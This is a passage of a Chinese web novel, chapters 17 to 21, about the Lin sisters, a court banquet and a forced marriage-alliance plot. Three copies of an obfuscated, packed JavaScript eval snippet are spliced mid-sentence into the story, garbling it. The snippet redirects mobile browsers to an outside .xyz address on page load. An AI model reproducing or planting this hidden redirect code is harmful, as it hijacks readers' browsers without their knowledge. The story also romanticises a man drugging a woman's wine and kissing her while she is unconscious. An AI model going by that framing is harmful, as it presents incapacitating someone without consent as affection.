容玦捧着酒坛看向她,说道:“我不相信鬼神之说,但我经常会接触到这方面的东西。世人常谈此事,或许会有吧。” 林默言静默的看着他,觉得自己可能是喝醉了才会和一个陌生人说这么多。她不想再继续聊下去,站起身来准备走人。可刚一起身,便觉浑身一软,意识逐渐混沌向后倒去。 容玦意料之中的看着她倒下,伸手接住她,将她轻轻拥入怀中。怀中的林默言一动不动,睡颜安稳,怎么看,都如一幅画般美丽。看着她精致的面容,娇艳的红唇,处处透露着一种令人沉醉的神韵。容玦情不自禁俯下身,却在即将要碰到她的红唇时猛然清醒。看着林默言近在咫尺的脸,容玦最终只在她的额头落下了蜻蜓点水般的轻柔一吻,随后轻轻抚摸了她的脸颊。 秋风轻拂,桂花纷纷扬扬飘落,在空中轻盈地旋转,带着淡淡清香,轻柔的落在两人身上。阳光透过枝丫,斑驳的映照在这片桂花雨中。 “言儿……”容玦看着昏迷的林默言,呼吸微颤。“别来无恙。” 容玦就这样静静的抱着林默言许久,药力快要散了,他却仍然有些舍不得松开手。但他在朝中还有要紧的事务,只得将林默言放下,为她整理好衣摆。过不了多久林默言就会苏醒,他知道一定会有人来找林默言的,为了不必要的麻烦,先一步离开了。 江晏四处寻找无果后,前去询问秦初。秦初思忖片刻,林默言在先生的祭日一般会去私塾旧址,于是告诉了江晏私塾的方位。 江晏一路来到私塾,推开大门向前走了几步。映入眼帘的,是躺在桂花树下的林默言,她的身旁还有几个酒坛散乱在地。她静静躺着,长发如瀑,垂在身侧。桂花飘落,落在她的发梢、肩头,还有一朵小小的花瓣悄然落在了她的眉眼间,林默言似有察觉,微微皱了皱眉。此情此景,静谧而美好。 江晏顿足片刻,担心她出什么状况,快步跑了过去。 18. 第 18 章 “林默言?”江晏俯下身将她扶起,轻轻拍了拍她,可林默言依旧没有要醒的意思。江晏猜想她可能是喝醉了,现在天色已晚,还是将她送回林府更稳妥些。 于是江晏小心的抱起林默言,抱着不省人事的她向林府走去。未料到半路上竟遇到了准备去寻找姐姐的林默语。看着躺在他怀中昏迷不醒的姐姐,林默语皱了皱眉,准备动手。 “慢着!先别动手!”江晏对下一秒就要暴起打人的林默语说道:“我绝对没有对她做什么,我是在私塾附近发现她的,看到她的时候就已经醉成这样了,打算送她回去。” 林默语二话不说先从他的怀里抢过姐姐,对他说道:“谢谢,接下来就交给我吧,你不必跟着了。”说着便抱着姐姐回家。她总觉得江晏对姐姐有所图谋,但在姐姐没有明确表态之前,绝对不能让他动手动脚。 半路上,林默言迷迷糊糊的睁开眼,看到语儿正抱着自己,有点纳闷的问道:“语儿,怎么是你啊?我记得我明明在……”话说到一半,林默言突然感觉到有些头疼,她记得自己是在私塾,当时还有徐衍在场,怎么现在突然在语儿怀里? “不是我还能是谁?姐姐,你也太不让人省心了。怎么能在外面喝那么多酒?”林默语满脸担心的数落着她。 “不对啊,我明明只喝了一点……”林默言还是感觉有些意识模糊,她的酒量很好,照理说那么点酒是不可能喝醉的,心中不禁有些奇怪,继续问道:“语儿,是你带我回来的吗?” “是江晏把你从私塾带回来的,然后交给了我。”林默语说道。 “江晏……?”林默言心中更感奇怪了,她和江晏在早上就分开了,怎么会是江晏带她回来? 林默语看着她这副甚是苦恼的模样,猜想她可能是醉糊涂了,说道:“难受的话就别想了,再休息一下吧。” 于是林默言便继续靠在她怀中闭上了眼。 林默语一路将姐姐送回了房间,小心翼翼的放到床上盖好被子。她出去打了一盆热水准备给姐姐擦脸,回来时看到姐姐又已经睡熟了。林默语无奈,拿起热毛巾走上前,却听到姐姐的嘴里在小声呢喃着什么,林默语凑近了些去听。 “苟为后义而先利,不夺不饜……未有仁而……” “先生……言儿知错了……” 林默语看着说醉话的姐姐,心中五味杂陈。姐姐嘴上说着看开了,却还是走不出这段过往,而自己却也做不了什么。林默语轻轻握住了姐姐的手。 容玦回答皇宫前去面见了皇上。皇帝见是他来,忙放下手中的奏章说道:“爱卿快快平身,朕让你去做的事情可有进展了?” “回陛下,臣夜观天象,测得不日便有将星移位之召。如今要做的,是等待一个时机。时机一到,臣有把握定能扳倒李益,为陛下夺回兵权。” “做得好,爱卿可有什么想要的赏赐?” 容玦恭敬的行礼说道:“臣并无所求。臣愿誓死效忠于陛下,尽犬马之劳。” 离开皇宫后,容玦来到了关押重犯的牢房,径直向着关押范崇的地方走去。范崇身处要案,有重兵把守着,容玦一挥手让士兵退了出去。只见牢房内,范崇蓬头垢面的躺在茅草堆上,身上穿着脏兮兮的囚服。茅草堆前摆着几个破碗,碗里是难以下咽的饭菜。 听到脚步声,范崇抬头看了一眼来人,看到是容玦后立马爬了起来,扒在铁栏杆上拼命地向外张望。“国师大人,国师大人,您终于来了!” 容玦轻蔑的看向眼前这个狼狈的人。 范崇直接跪了下来,连连磕头道:“国师大人,您说过我拿了那批官银您一定会想办法保住我的。这私吞官银通敌叛国的罪名,下官实在担当不起。还请国师大人一定要救小的出去,小的在此给您磕头了!国师大人,您一定要救救我……” “知道什么话该说,什么话不该说吧?”容玦幽幽开口道。 “小的明白……”范崇颤颤巍巍的跪在地上。 容玦勾唇一笑,眼底却透露着丝丝寒意,说道:“你且放心,我会救你出去的。只要你乖乖听话。” “多谢国师大人,小的什么都听您的。”范崇又重重的磕了几个头。 容玦盯着他那双碰过林默言的手,眼中寒气更甚。但他还是压下心底的怒火耐着性子离开牢房,这个人现在还有用,暂时不能杀,等榨干他的利用价值后再杀也不迟。 第二日,林默言醒来后依旧头痛欲裂。一看窗外,天已大亮。林默言强撑着起了身。 “醒了?”林默语为她端来了一碗醒酒汤。 “嗯。”林默言伸手接过醒酒汤喝了几口。“我躺了多久?” “已经巳时了。你要是再不醒来,我就去请医官了。”林默语说道。 “不应该啊,我的酒量什么时候变得这么差了。”林默言小声嘀咕着。放在平日里,这个酒量她根本不会喝醉,更别谈一直昏睡。 “姐姐应当是忧思过度了,今后还是看开些吧。”林默语说道。 林默言点了点头,说道:“语儿放心,我知道了。” 在林府修整了半日后,林默言收到了江晏的邀请,约她一起去围猎场练箭。林默言想起前些日子确实答应了江晏这么一茬,便出府应约。 林府外,江晏已恭候多时了。见她出来,江晏对着她的方向遥遥招手。林默言抱着手臂向他走去。 “听语儿说昨天是你把我送回来的?”林默言问道。 “当然。”江晏回答道,随即又开始数落她:“你未免也太心大了点,知道这样有多不安全吗?” 林默言先前就已被语儿说了一通,选择性忽视了他后面的话,问道:“你怎么知道我在哪里?” “我当然是去问秦初了。”江晏挑眉看向她。 谈笑间,两人已到达了围猎场。江晏所选的这片场地桂花树甚是密集,芳香浓郁,令人的心情也不自觉好了起来。江晏拿起弓箭递到林默言手中,笑道:“展示一下吧,林大小姐。” 林默言接过弓箭,从容的说道:“那你可要看好了。” 说罢,林默言屏气凝神,拉开弓箭,灵敏的捕捉着周围的一切风吹草动。箭在弦上,蓄势待发。林默言瞅准时机,一箭射向天空。箭矢穿破长空,伴随着一阵凄厉的悲鸣,一只大雁掉落而下。林默言转身微昂着下巴看向江晏,等待着夸奖。 江晏之前见过林默语向拓跋宇射出的那一箭后颇觉惊艳,便猜想着林默言的射艺应当也不会差,这个猜想此刻得到了验证。林家二姐妹应该是师出同门,江晏不禁有些好奇的问道:“不错,很厉害。不知你这射艺师承何人?” “这个啊,我爹爹教的。”林默言毫不避讳道。 此话一出,江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485250|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏倒是有点惊奇了,说道:“没想到林丞相不仅是在朝堂上叱咤风云的文官之首,还在武学是颇有造诣啊。” “那是当然,君子六艺嘛。我爹肯定是六艺经传皆通习之。”提起爹爹,林默言一脸骄傲道。 两朝丞相林瞻远声名远扬,江晏也很是钦佩他的风采。 “那你呢?我看你的身手也不俗,应该下过不少功夫吧?”林默言问道。 “嗯。”江晏点了点头,继续说道:“我自幼习武,十五岁就上战场。至于老师的话,我有很多。” 林默言之前也猜测过江晏的习武经历,江晏这样一说,她也更加好奇江晏在黎国会是什么模样。但她还是按捺住了好奇没有继续往下问。 江晏出乎意料的没有再说话,而是从她的手中接过弓箭。林默言看向他,他在搭弓引弦时神情不似平日般随意,而是多了几分肃然,眸光锐利。在此刻看着他时,脑海里不禁浮现出他上阵杀敌时的勃然英姿。 江晏却将箭矢对准了一个意想不到的方向。林默言观察片刻,那里树木密集,枝丫紧凑,不可能有什么大的猎物,心想江晏怎么会犯如此低级的错误,正要出声提醒,却见江晏已经一箭射出。 林默言的目光随箭矢移动,箭矢如流星般飞速划过林梢,却再没了动静。但还未等林默言嘲笑她,便被漫天的桂花雨吸引了注意。箭矢划过的地方,花瓣纷纷扬扬洒落,似梦似幻,如繁星点点,在空中闪烁。林默言正处于微微错愕之中,一旁的江晏抓住了她的手,牵着她奔向前方的桂花雨中。 林默言跟随着他向前跑,两人一同沐浴在这片桂花雨里,肆意的奔跑向前。天地宽阔,山河辽远,此刻却也没有什么再能阻止他们的脚步。花瓣落在林默言的身上,她也无暇去管,而是在不知不觉间也无意识的反握住了江晏的手,与他并肩向前。 两人一直跑到了道路的尽头才停了下来,林默言扶着腰喘了口气。看着满身花瓣的江晏,林默言笑着打趣道:“箭已经射出去了。八皇子殿下,猎物呢?” 江晏看着同样有些凌乱微微喘气的她,笑道:“不是每一支箭矢都为猎物而射出。这支箭能博你一笑,也算完成它的使命了。” 林默言这才意识到,原来江晏是想逗她开心。 “昨日看到你躺在那颗桂花树下,我除了担心之余,还觉得那副场景甚是好看。”江晏认真的看着林默言,继续说道:“真的,很美。我不想看你沉溺于往日的哀伤之中,今日便约你到此处想要博你一笑。你笑起来,很好看。” 难得看到江晏如此正经的模样,听到他说的话,林默言的脸有些微微发烫。一时不知道说些什么,林默言微微低头,这才看到两人还牵在一起的手,自己不知何时竟牢牢牵住了江晏。林默言慌忙松开手,有些手忙脚乱不知所措。 一旁的江晏却是仍旧从容,轻笑着看向有些害羞的林默言。林默言便也强迫自己冷静下来,说道:“其实我也没有很伤心,只是有些感怀。不过还是谢谢你啊,特地来安慰我。” 两人一起并肩向回走。路上,江晏突然说道:“再过些日子,我可能就要走了。” “你要走了?什么时候?”与江晏待久了,林默言差点忘了他是黎国人,总要回到黎国去的。 “西启太后寿辰,等到我代表黎国献上祝福之后,使节团就要回去了。”江晏回答道。 19. 第 19 章 他这样一说,林默言才想起还有不到半个月就是太后冯氏的寿辰了。此时宫里宫外应该都忙活了起来,秦初也负责了不少事务。 江晏护送林默言回了林府,随后回去处理事务。 另一边,秦初主持着宫中各项事宜,前去询问了太后的意思。 “皇祖母,今年的寿宴,可还有什么不满的地方?”秦初问道。 “甚好甚好。你办事,哀家向来是放心的。”冯氏笑吟吟的看着秦初,说道:“只是除了这些之外,哀家还有一些其他心愿。不知初儿能否实现?” “皇祖母尽管说便是,孙儿一定尽力而为。”秦初说道。 太后沉吟片刻,说道:“你也老大不小了,这婚事,应当早日定下来才是。哀家还等着早日抱上重孙呢。” 听她又提起婚事,秦初无奈道:“皇祖母,此事先不急。” “如何能不急?你莫要嫌哀家啰嗦,所谓先成家,后立业,你可明白?”太后在一旁苦口婆心的说道:“你且放心,哀家不会强迫你娶不喜欢的女子。哀家记得你一直喜欢林相的女儿,她与你的身份地位倒也相配,不如趁着这次寿宴赐婚,也算是好事成双。” 太后正巧说中了秦初的心事,秦初虽然喜欢林默语,但也不想强迫语儿。于是他便谢绝了太后的好意,说道:“孙儿谢皇祖母挂念,但此事……孙儿觉得也应该尊重她的意见才是。” 太后早就料到他又会是这番说辞,无奈道:“也罢。只是哀家也许久未见过林相的两个女儿了,此次寿宴,叫她们来哀家身边侍候着吧。” 秦初拱手行礼,说道:“孙儿知道了,会传达给她们的。”随后退出了寝殿。 秦初走后,太后的侄子不解的问道:“太后娘娘,臣有一事不解。若真让太子娶了林相的女儿,岂不是更加壮大了林相的权力?林相在朝中本就无人牵制,如此一来,岂不是更无法限制了?到那时,这朝堂岂非……” 太后却依旧坐怀不乱,很有把握的说道:“放心吧,他翻不了天。所谓权不过三代,任他林瞻远有再大的本事,再过些年也总归要退出朝堂。他膝下无子,待他退出朝堂后便再掀不起风声。这江山,还是秦氏的江山。” 自古以来,外戚与权臣往往处于对立面,但如今西启的形势却有所不同。林瞻远在朝堂叱咤风云,但太后冯氏却没有过多限制。原因之一为林瞻远膝下无子,发妻死后也再未续弦,成不了一方家族势力,对后世再无威胁。再者林瞻远为两朝丞相,忠心耿耿,一心为西启效力,乃是忠贞之臣。冯氏还记得林瞻远为先帝鞠躬尽瘁,扫除多重障碍,尽心尽力辅佐。在先帝驾崩动乱频发时也没有起过不该有的心思,而是尽快压住了叛乱,让西启免于战火,修养民生。所以林瞻远此人,她信得过,也想让此忠臣得以善终。 十几日后,太后寿辰正式到来。早在数月前,宫人们便开始忙碌起来,为这场盛大的宴席做准备。今日的皇宫更显华贵,红毯一直从宫门蔓延至寿宴的主殿,两旁摆满了各色花卉,争奇斗艳,芳香四溢。 太后冯氏身披金黄色的凤袍,头上凤冠璀璨夺目,气质非凡。冯氏一步步踩着红毯踏入主殿,坐在宴席的主位上,迎接宾客来朝。 宴席开始,各色的精致菜肴端到了桌上。美酒佳肴,珠光宝气。宫廷的乐师奏起了丝竹管弦,宛若天籁之音。舞姬们随着乐声翩然舞动,娉娉袅袅,婀娜多姿,献上开场的舞曲。 林家二姐妹随父亲一同前往祝寿,林瞻远作为百官之首,坐在较前方的位置。 皇帝先一步上前贺寿,命人呈上精美的玉器,说道:“儿臣祝愿母后寿与天齐,凤体康健。” 太后颔首,示意宫人将玉器收下,淡淡说道:“劳烦皇帝费心了。” 皇帝重新回到龙椅上坐下。紧接着是秦初上前为太后贺寿,秦初呈上金玉如意一个,以及亲手绘制的一幅《松鹤长春图》。上前行礼道:“祝愿皇祖母福禄双全,富且贵,寿而康,天伦之乐无尽期。” 太后方才面对自己亲儿子时异常冷淡,但此刻看到秦初后却是笑逐颜开,慈爱的看向秦初,说道:“初儿有心了,快快请起。” 秦初入座后,上前贺寿的都是其他的一些皇家子弟。待到皇家子弟全部贺寿完毕后,林瞻远作为百官之首第一个上前祝寿,林默言和林默语紧跟在父亲身后一同前往。太后喜好风雅,林瞻远为其献上了紫檀雕花的古琴,上前祝寿道:“愿太后福泽深厚,寿元无尽。琴瑟在御,朝朝喜乐。如日月之恒明,似繁星之璀璨。” “林丞相请起。”太后说道,随后看向林瞻远身后的两个女儿,笑道:“倒是许久未见过相府的二位千金了。从前就很是讨人喜欢,现在更是生的亭亭玉立。好孩子,来哀家这边坐坐。” “言儿语儿,还不快快谢恩上前?”林瞻远说道。 得了父亲的允许后,林默言和林默语向太后行了一礼,随后走到太后身边坐下。太后笑吟吟的一左一右拉住二人的手,说道:“你们姐妹俩倒是生的越发相似,越发漂亮了。哀家老了,倒是有些分辨不清楚。” 太后冯氏为人宽厚慈爱,林家二姐妹与她也打过不少交道,一直以来都很敬重这位太后。于是林默言笑道:“太后娘娘说的哪里话。太后娘娘如王母之仙资,犹带芳华。怎么会老呢?” 太后闻言大笑道:“好一张巧嘴。油嘴滑舌,你便是言儿吧。” “哪里哪里,言儿不过是实话实说。”林默言调皮一笑,挽住了太后的胳膊。 待到朝中的所有臣子贺寿完毕后,便到了外国的使节团前来贺寿。江晏穿着正式,一袭黑袍身姿挺拔俊朗非凡,携带着黎国使节团一同上前贺寿。 江晏为太后呈上黎国特有的浮生玉打造的玉器,以及丝绸锦缎数匹,说道:“晚辈江晏,代表黎国祝西启太后岁岁无忧,祥光满盈。福如东海长流水,寿比南山不老松。” “多谢黎国的美意,愿我们两国世代交好,共同繁荣。”太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485251|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 江晏拱手一礼,在离开时还笑着看了一眼林默言。林默言冲他挑了挑眉。 接着是拓跋宇带领鲜卑使节团上前。看到拓跋宇,林默语颇有些不自在。 “晚辈拓跋宇,携鲜卑使节团向西启太后祝寿。愿太后福泽绵长,松龄长岁月,鹤语寄春秋。”拓跋宇献上鲜卑的珠宝玉器为贺礼,垂首行礼时,看着倒也还算规矩。 太后说了几句场面话,拓跋宇依言退下。但林默言看着拓跋宇,总觉得他有几分不怀好意,心中莫名有一种不好的预感。 接见完外国使者后,寿宴正式开场。此时夜幕降临,宫中点起了各式灯笼。光华流转,流光溢彩。明灯的掩映之下,舞姬轻盈的跃动,丝竹管弦之声悦耳。觥筹交错,推杯换盏,整个皇城都处于喜庆的氛围之中。 与太后闲聊片刻后,林默言察觉到太后有话想单独对语儿说,就识趣的找了个借口先一步开溜了。 冯氏对不远处的秦初招了招手,示意他过来。秦初看到她身旁的林默语,犹豫片刻,还是走了过去。 “皇祖母有何吩咐?” “你过来,往这边点。”冯氏说道:“初儿莫要拘谨,哀家只是叫你来叙叙话。” 于是秦初便再往前走了一些。此时太后还牵着林默语的手,轻轻的拍了拍,说道:“语儿是个好孩子,我很喜欢。” 随后,冯氏将林默语的手放到了秦初手中,将他们的手握在一起,继续说道:“哀家知道你们青梅竹马情深义重,只是小年轻碍于面子不好意思开口。那么今日哀家就做这个开口的人。语儿端庄贤良,应当是要母仪天下的。你们可莫要辜负了哀家的一片苦心呐。” 秦初察觉到林默语的手微微有点僵硬,但此刻有太后在场,两人都不好薄了太后的面子,便都没有松开手。秦初不想让语儿为难,先一步开口道:“多谢皇祖母挂念,儿臣明白了。只是此事我还需和语儿相商,先失陪了。” “去吧,去吧。”太后笑吟吟的看着两人握在一起的手。 秦初牵着林默语的手向外走去,一直走到门外太后看不见他们后,秦初松开了手。 “抱歉,语儿。是我有些唐突了。皇祖母所说的那些话你不必在意,我是不会强迫你做什么的,待我回去一定和她说清楚。”秦初看着林默语,手上还残留着温热的触感,心中五味杂陈。 “无妨,殿下言重了。”林默语看起来依旧神色如常,淡淡的说道:“时辰不早,我也该回林府了。告辞。”俯身向秦初行了一礼后,林默语转身离开了。 再次看到她离开的背影,秦初的心中说不尽的落寞。但他宁愿自己一个人万分难受,也不愿看到语儿一丝为难。 宴会上人多拥挤,林默语跑到外面来透透气。晚风微凉,倚在栏杆边上,倒也有几分惬意。林默言抬眼,望向那一轮明月。 “在想什么呢?” 熟悉的声音响起,林默言回眸,看到了气定神闲的江晏。 20. 第 20 章 “你怎么也溜出来了?”林默言惊奇道。 江晏笑道:“我看到你突然离席,就也想出来看看。”江晏说着,上前几步与她一起倚在栏杆上,抱着手臂看向她。 “方才在想什么呢?这么出神。”江晏继续问道。 “我当然是……在想你这个讨厌鬼什么时候走人。”林默言咬咬牙,故意气他道。 “那我应该多谢你的挂念喽?”江晏看着她,笑意更甚。 被江晏这样看着,林默言突然之间有点害羞,移开了目光继续看月亮。江晏便也随着她一起,托腮望月。此时此景,两人都不约而同的想起了那日在初雨阁望月时的情景。林默言想起那日红帐散乱,气氛迷离,此刻站在江晏身边更加有几分说不清的羞涩。 气氛一时有些说不清道不明,林默言正有些局促之际,秦初的到来冲散了这份暧昧。 “江兄,言儿?你们怎么会在这里?”秦初看着抬头望月的两个人,问道。 “我看方才太后不是叫你过去了吗?你怎么也溜出来了?”林默言转过头看向秦初,问道:“那语儿呢?还在太后那里吗?” “语儿她……方才回去了。”秦初颇有些失魂落魄的说道。不用他细说,林默言也猜到方才太后肯定是提起了两人的婚事,这才使得两人不欢而散。 江晏也稍微看出了些端倪,拍了拍秦初的肩以示安慰。 三人正在外面相谈,宴会上的气氛却突然之间降致了冰点。 “陛下,太后娘娘。”拓跋宇端着一杯酒走上前,说道:“此次来西启,我还想要讨要一门亲事。两国和亲,方能永修同好啊。” 闻言,太后和皇帝两人皆是错愕,没想到他会突然提这么一出。皇帝先一步开口道:“和亲一事,事关重大,还需从长计议。待朕在朝中适龄公主中挑选一番,再向贵国作答复。” “多谢陛下美意,只是我已经有心仪的女子了。还望陛下成全。”拓跋宇说着,在四周环视一圈,却没有发现林家二姐妹的身影。 “你且说是何人,哀家才好下决断。”冯氏说道。 “太后是个爽快人,那么我也直说了。在下倾慕之人,是林丞相的女儿林默语。我初见她时,便觉得她是人间绝色,思慕已久。还请太后和陛下成全。”拓跋宇拱手道。 此话一出,场上一片哗然。林瞻远眉头紧皱正待说话,太后却先一步开口道:“实在不巧,这林默语,是哀家钦定的太子妃。况且林丞相是朝中命官,送他的女儿去和亲,恐怕不妥吧。” 林瞻远也紧随其后道:“感想鲜卑王子对小女的青睐,只是小女恐怕无法消受这福分呐。还请王子另觅佳偶。” “原以为两朝丞相名声在外,定是个识大体的人。却不曾想林丞相的目光如此短浅,拘泥于私人情感。若能用一门亲事换社稷安宁,何乐而不为呢?”拓跋宇狡黠一笑,望向林瞻远。 “王子说的哪里话?我既是臣子亦是父亲,这天底下哪有父亲希望自己的女儿远嫁呢?况且一门亲事能否换来西启与漠北的和平,王子心中应当比我更清楚吧。”林瞻远冷笑着逼视拓跋宇,开口时压迫感十足。 “哪怕是一时的和平也是好的,堂堂两朝丞相连如此浅显的道理都不明白?亦或是说,连这点肚量都没有?汉人常说‘宰相肚里能撑船’,看来也不过如此。”拓跋宇正面迎着他的话锋,丝毫没有退让之意。一时之间宴会的气氛变得尤为紧张。 “行了,先到此为止吧。”皇帝突然开口,打破了二人的争论,说道:“今日是母后的寿辰,本应是普天同庆的日子。如今这般剑拔弩张,怕是不妥吧?还请二位稍安,此事不能随意妄下定论。待朕与众臣子商议一番后,再给出结论吧。” “陛下圣明。”林瞻远没有薄了皇帝的面子继续争论,斜眼看向拓跋宇,重新回到座位上。 拓跋宇见状也没有再继续争辩,笑着行礼道:“静候陛下佳音。” 两人退场后,紧张的气氛才渐渐消散。但此刻众人皆已各怀心思,没有精力再将这宴会继续下去。 终于熬到寿宴结束,林瞻远匆匆赶回林府寻找女儿。此刻林默言也早已溜了回来,姐妹二人看到平日里坐怀不乱的父亲今日却如此慌乱,猜想到肯定是出了什么不得了的大事,赶紧迎上前去询问状况。 “爹爹,你为何突然间愁眉苦脸的?”林默言问道。 林瞻远神情严肃,皱着眉说道:“言儿语儿,这段时间你们尽量不要外出走动了,先在家中避一避风头吧。” “这是为何?”林默语不解道。 林瞻远面色沉重的看向林默语,开口说道:“今日太后寿宴之上,拓跋宇点名道姓的指出要语儿作为和亲公主嫁去漠北。此番来者不善,只怕不好应对。” 林默语听到这个消息,心中震惊。朝堂之事她也清楚一些,明白此事一经提出不管结果如何皇帝一定不会让林家好过。林默语慌乱的拉住父亲的胳膊,说道:“爹爹,语儿还不想嫁人。语儿不嫁!” “不必太过担心。圣旨还没下来,爹爹会想办法的。”林瞻远安抚她道。 林默语异常慌乱,她很少会有如此方寸大乱的时候。但她既不想嫁去漠北,也不想看到父亲抗旨欺君,一时之间矛盾不堪,想不到任何两全其美的方法。 “我就知道这个拓跋宇没安好心……”林默言愤愤的咬着牙,扶住了快要站不稳的语儿。 “总之,你们这些天先在府中避一避吧。有爹爹在,不会让他们轻易得逞的。”林瞻远努力镇定下来,安抚着两个女儿。无论何时,他都不能有一时慌乱。他若自乱阵脚被人牵了鼻子走,那事情就真的再无转机。 “言儿,你先带着语儿回房去,好好安抚她一下吧。” “好。这些天我们会谨慎的,爹爹放心。”林默言说完后,带着妹妹回了房间。林瞻远连夜赶去了皇宫,来到大殿外却被告知皇帝有要务处理,拒绝见他。林瞻远却没有退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485252|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,今天无论如何,他一定要见到皇帝。 “姐姐,我该怎么办啊……”林默语依旧失魂落魄,慌乱道:“都是我不好,为爹爹惹了这么多麻烦……” “语儿不必这样说,这不是你的问题。况且事情还未下定论,一定会有转机的。”林默言轻轻拥住她安慰道。父亲为官清廉,心系朝堂和百姓。虽掌握着行政大权,却从未乱用职权,尽心尽力辅佐。所以于情于理,皇帝都不能拿他的女儿去和亲。若当初没有父亲的俯首称臣,他又如何能坐到这个位置? “我去找秦初想想办法吧。”林默言说道。 林默语却伸出手拦住了她,轻叹道:“姐姐,不要去,这件事情太子殿下也无法左右。我不想给他招惹不必要的麻烦。” 而另一边,秦初却在太后那里得知了这一消息。还未等太后再说什么,秦初就已经无法冷静,径直赶到皇宫。 看到被拒之门外的林瞻远,秦初瞬间预感到大事不妙。此刻他已顾不了那么多,不顾阻拦硬闯进大殿。 大殿之上,秦建忠已准备拟写圣旨。看到秦初不经通传进来,正欲发怒,秦初却先一步说道:“父皇,您真的打算把林丞相的女儿嫁去漠北吗?” “秦初,这不是你应该管的。”秦建忠冷眼看向他,说道:“朕知道你喜欢林默语,但大丈夫岂能拘泥于儿女情长?此事,你无权干涉。朕警告你,就此退下吧。否则的话,休怪朕无情。” 秦初一掀衣摆,在他面前跪了下来,拱手道:“儿臣恳请父皇收回成命。林丞相乃朝中命官,为我朝鞠躬尽瘁。若此番作为,定会寒了朝中臣子的心。” 秦建忠怒目看向他,眼中已有几分杀气,仿佛在他面前的不是自己的亲儿子,森森开口道:“你是觉得你很聪明?你是在教朕如何处理朝政?朕还不老,轮不到你志在朝堂!” “儿臣不敢。儿臣只是不明白,您已经坐到了这个位置,为何还是容不下林家?”秦初虽跪着,气势却没有减弱半分。 听到秦初已把话说明,秦建忠冷笑一声,说道:“这个位置?你也知道朕坐在这个位置,可真正的权力又掌握在谁手中?朕机关算尽坐上这个位置,难道只是想做个任人摆布的虚君吗?” “林丞相手中的权力乃是先帝所予,况且广平王……“秦初话还没说完,秦建忠已一巴掌甩到他的脸上,秦初的脸上留下几个鲜红的手指印。 “广平王广平王,你们个个都记挂着广平王!朕养了你这么久,是养了一个胳膊肘往外拐的畜生吗?”听到广平王这三个字,秦建忠的怒火瞬间被点燃。 “父皇,不管您怎么说,这门婚事,是成不了的。”秦初的脸火辣辣的痛,可他丝毫没有服软。 “你是觉得,朕只有你一个儿子?难道没了你,就没人坐这个太子之位吗?未免也太过看重自己了吧,秦初?”秦建成冷笑,对下人吩咐道:“来人,将太子拖下去禁足于太子殿。没有朕的允许,任何人不得入内探望。” 21. 第 21 章 林瞻远看到秦初被押回太子殿后,知道今日就算见到皇帝也无果了。于是他前去寻找了与他结交的官员,明日朝堂之上,定要向皇帝施压。 林府内,林默言派出去的探子已将秦初公然抗旨被禁足的事情告诉了她们二人。林默言震惊不已,她知道秦初喜欢语儿,却不曾想秦初可以做到这个地步。 林默语此刻再也无法平静的坐下去了,站起来说道:”太子殿下肯定又要受罚了。不行,我得去看看他。“ 现在换成林默言拉住她,说道:“语儿,你先镇静下来。秦初已被禁足,这个时候你们是无法见面的。现在你最好不要露面,莫要辜负了秦初的所作所为。” “对,姐姐说得对,不能见……”林默语坐下来想要倒杯茶冷静冷静,却手抖到直接摔碎了茶盏。一向沉着冷静的林默语此时已经方寸大乱到看不清局势,这是很少会有的情况。 “语儿,先不要想的那么严重。秦初毕竟是他的儿子,虎毒不食子。”林默言看着方寸大乱的妹妹,安慰她道。 “但愿吧。”林默语的脸色依旧惨白。 第二日朝堂之上,局势愈演愈烈,剑拔弩张。林瞻远第一次动用了自己的所有人脉,与自己一同向皇帝求情。但名为求情,实为施压。两朝丞相开口,除容玦一派外,朝中一呼百应。 林瞻远拿着先帝御赐的丹书铁券,板着脸开口,威压十足道:“陛下,您如此器重小女,臣深感荣幸。只是臣身为父亲,实在不想让女儿嫁去边远之地。臣恳请陛下,收回成命。” 大将军李益在一旁附和道:“臣也认为此事不妥。林丞相膝下无子,只有这么两个女儿,且再无其他亲人。若是陛下执意要将丞相的女儿远嫁,那么只恐丞相在年老时也无至亲承欢膝下。忠良之臣,两朝元老,最终却落得如此下场。只怕会,寒了一众臣子的心啊。” 这时,站在另一边的容玦却幽幽笑道:“古往今来朝中重臣的女儿送去和亲的例子并不少。怎么?同为朝廷命官,他们的女儿嫁得,林丞相的女儿就嫁不得?” “国师大人说的倒是轻巧。只是小女远嫁能否换来西启与漠北之间的和平,恐怕不好说吧。若不能换来长久的和平,我为何要把女儿远嫁漠北?” 秦建忠皱眉看着众人争吵不休,争执不下之时,太后冯氏移驾来到殿内。秦建忠虽身心俱疲,却也还是说道:“来人,为母后赐座。” 